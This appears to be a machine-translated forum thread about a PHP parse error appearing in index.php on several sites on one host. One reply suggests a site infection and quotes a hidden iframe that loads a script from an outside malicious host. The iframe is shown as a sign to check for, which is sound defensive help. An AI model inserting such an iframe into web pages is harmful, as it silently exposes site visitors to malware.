PHPinput中意外的字符:'''(ASCII = 39)

我的一个朋友在她的所有网站上都遇到这个错误。 他们都在同一台服务器,外部托pipe(托pipe公司说,他们不能帮助脚本问题)

每个网站甚至给出了确切的一些行号,但他们都使用不同的Index.php文件。 我有点难过,有没有人见过这样的事情?

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /home/xxxx/public_html/index.php on line 17 Parse error: syntax error, unexpected '.' in /home/xxxx/public_html/index.php on line 17 

基于错误和一些谷歌search ,似乎罪魁祸首可能是一个可怕的糟糕的文件pipe理器。

你如何编辑/上传文件到网站?

我想你的网站上有病毒。 检查你的index.php文件的代码是这样的:

 <iframe src="http://2mj.pl:8080/ts/in.cgi?pepsi74" width=125 height=125 style="visibility: hidden"></iframe> 

这是PHP脚本中的语法错误。 所以写这个脚本的人很可能犯了一个错误。 但是,如果没有关于错误的一些上下文(即不知道脚本的那部分究竟是什么),就不可能确切地知道如何解决它。

顺便说一句,这真是一个StackOverflowtypes的问题。

尝试只做一个index.php,而且只有一行。 以下可能是一个好的:

 <?php phpinfo() ?> 

一行,不\ r或\ n(比如说后面的“>”后不要按回车。

如果错误仍然存​​在,我认为主机可能已经添加了一个自动prepend文件指令或类似的东西。 也可能是由于short_open_tag,如果你的脚本使用这样的(邪恶)function。

用一个简单的线进行debugging是一个很好的起点